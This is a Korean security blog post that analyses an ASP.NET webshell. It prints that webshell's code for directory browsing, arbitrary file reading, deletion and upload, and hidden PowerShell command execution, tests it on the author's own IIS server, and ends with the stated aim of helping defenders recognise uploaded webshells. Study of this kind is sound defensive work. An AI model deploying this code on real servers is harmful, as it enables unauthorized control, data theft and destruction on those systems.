본문 바로가기

보안

ASP.NET 웹쉘(Webshell) 코드 분석

반응형

본 글에서는 ASP.NET 웹쉘 코드를 분석해 보고자 한다.

분석 내용을 통해 어떤 방식으로 웹쉘 스크립트가 구현되는지 전체적인 구조를 이해할 수 있기를 바란다.

[기능]

분석 대상 웹쉘은 ASP.NET 웹 페이지(.aspx)로 구현되어 있으며, 다음과 같은 주요 기능들을 포함하고 있다.

  • 파일 시스템 탐색
  • 파일 업로드/다운로드
  • 파일 삭제
  • PowerShell 명령어 실행

[주요 컴포넌트 분석]

1. Namespace Import

<%@ Import Namespace="System.Web.UI.WebControls" %>
<%@ Import Namespace="System.Diagnostics" %>
<%@ Import Namespace="System.IO" %>

 

파일 시스템 조작(System.IO), 프로세스 실행(System.Diagnostics), 웹 컨트롤(System.Web.UI.WebControls) 기능을 사용하기 위해 관련 Namespace를 Import한다.

 

2. 디렉터리 탐색 기능

string out = "";
  
string dir = Page.MapPath(".") + "/";
if (Request.QueryString["fdir"] != null)
  dir = Request.QueryString["fdir"] + "/";
  
string[] parts = dir.Split('/');
string walk = "";
foreach (string p in parts)
{
  if (p.Length == 0)
    continue;
  walk += p + "/";
  out += string.Format("<a href='?fdir={0}'>{1}/</a>&nbsp;");
}
  • Page.MapPath(".")를 사용해서 물리적 경로를 찾아낸다.
    (예: C:/inetpub/wwwroot)
  • Request.QueryString은 ASP.NET에서 URL의 쿼리 문자열(Query String) 매개변수를 읽는데 사용되는 컬렉션이다.
    이것을 사용해서 URL에 fdir 파라미터가 존재할 경우 해당 값을 경로로 사용한다.
    (예: http://www.example.com/webshell.aspx?fdir=C:/Windows)
  • 경로를 '/' 기준으로 분할하여 각 디렉토리 부분을 배열로 저장하고, 각 디렉터리에 대해 클릭 가능한 네비게이션 링크를 생성한다.
    이 때 walk는 누적 경로를 저장한다.(예: C: → C:/Windows → C:/Windows/System32)
  • out 변수를 이용해 HTML로 표현해준다.

웹 인터페이스를 통해 서버의 파일 시스템을 자유롭게 탐색할 수 있게 해주는 기능을 제공한다.

2.1 테스트용 메인화면

웹쉘 테스트화면 구현을 위해 내 PC에 IIS 서버를 구축했으며 아래와 같이 메인화면이 보인다. 메인 화면에는 ①디렉터리를 이동하도록 경로가 표기되어 있으며 ②파워쉘을 입력하기 위한 입력창, ③파일을 보여주고 클릭 시 내용을 확인할 수 잇는 리스트, ④파일삭제 버튼, ⑤파일업로드 부분이 구현되어 있는 것을 볼 수 있다.

그리고 상위 디렉터리로 이동하기 위해 경로상의 inetpub을 클릭해 보았다.
아래와 같이 상위 디렉터리 파일이 표시되고 있다.
파일크기가 나오지 않는 것을 보인 전부 폴더로 보인다.

3. 파일 다운로드

if ((Request.QueryString["get"] != null) && (Request.QueryString["get"].Length > 0))
{
  Response.WriteFile(Request.QueryString["get"]);
  Response.End();
}
  • URL 파라미터 'get'으로 다운로드할 파일 경로를 받는다.(예: webshell.aspx?get=C:/example/test.txt)
  • Response.WriteFile()는 서버의 물리적 파일 경로를 받아서 해당 파일을 읽고 읽은 내용을 그대로 응답값에 작성해준다.
    Response.WriteFile()를 이용해 파일을 다운로드 받는다.
  • Response.End()로 응답 전송을 완료한다.

3.1 파일 다운로드 테스트

메인화면의 파일 리스트에 test_text.txt가 보인다. 이 파일을 클릭해 보자.
그러면 아래와 같이 텍스트 파일의 텍스트가 출력된다. 파일로 다운로드하는 형태가 아니라 화면에 보여주는 형태로 구현되어 있기 때문이다.
그리고 URL을 보면 get=C%3a%2finetpub%2fwww.root%2f%2ftest_text.txt로 작성되어 있는 것을 볼 수 있다. 이를 디코딩하면 다음과 같은 경로정보가 확인된다.

  • C:/inetpub/www.root//test_text.txt

get이라는 파라미터의 값에 파일 전체 경로정보를 넣어서 출력시켜주고 있다.

 

4. 파일 삭제

if ((Request.QueryString["del"] != null) && (Request.QueryString["del"].Length > 0))
    File.Delete(Request.QueryString["del"]);​

 

  • URL 파라미터 'del'로 삭제할 파일 경로를 받는다.(예: webshell.aspx?del=C:/temp/test.log)
  • File.Delete()는 .NET Framework의 System.IO 네임스페이스에 있는 메서드이며, 이는 지정된 파일을 영구적으로 삭제하는 기능을 수행한다.
    File.Delete()를 이용해 지정된 파일을 즉시 삭제한다.

 

5. 파일 업로드

if(up.HasFile)
{
    string fileName = up.FileName;
    int splitAt = up.FileName.LastIndexOfAny(new char[] { '/' });
    if (splitAt >= 0)
        fileName = up.FileName.Substring(splitAt);
    up.SaveAs(dir + "/" + fileName);
}

 

  • 웹 페이지 내에서 ASP.NET FileUpload 컨트롤을 통해 up 변수에 파일 정보를 저장한다.
  • 파일 이름 처리:
    - 파일 경로에서 실제 파일명만 추출
    - '/' 이후의 마지막 부분을 파일명으로 사용
  • 현재 디렉토리(dir)에 파일을 저장한다.

웹 인터페이스를 통해 파일 다운로드, 삭제, 업로드를 수행하는 기능을 제공한다.

 

6. 명령어 실행 기능

if (tCn.Text.Length > 0)
{
    Process p = new Process();
    p.StartInfo.CreateNoWindow = true;
    p.StartInfo.FileName = "powershell.exe";
    p.StartInfo.Arguments = "-w 1 " + tCn.Text;
    p.StartInfo.WorkingDirectory = dir;
    p.Start();
}

 

  • 웹 페이지에서 특정 테스트를입력하게 될경우 tCn 변수를 통해 텍스트 정보를 가져온다.
  • CreateNoWindow를 true로 설정하여 명령 프롬프트 창이 화면에 표시되지 않도록 한다.
  • -w 1 옵션을 통해 윈도우 스타일을 Hidden으로 설정하여 GUI요소를 숨김 처리한다.
  • WorkingDirectory를 dir로 설정하여 명령어 실행 컨텍스트의 기준 디렉토리 설정한다.
  • p.Start()로 PowerShell 프로세스 실행한다.

PowerShell 명령어를 실행하는 기능을 제공한다.

6.1 명령어 실행 테스트

메인 화면의 명령어 입력 창에 파워쉘에서 현재 경로를 출력하는 명령어(Get-Location)를 입력해 보았다.
아래와 같이 현재 경로가 출력되는 것을 확인할 수 있다.

 

본 내용은 웹쉘의 구조에 대해 이해하기 위해 작성 하였으며, 실제 웹쉘이 우리 서버에 업로드 되었을 때 이를 인지하는데 도움을 줄 수 있기를 바란다.

 

반응형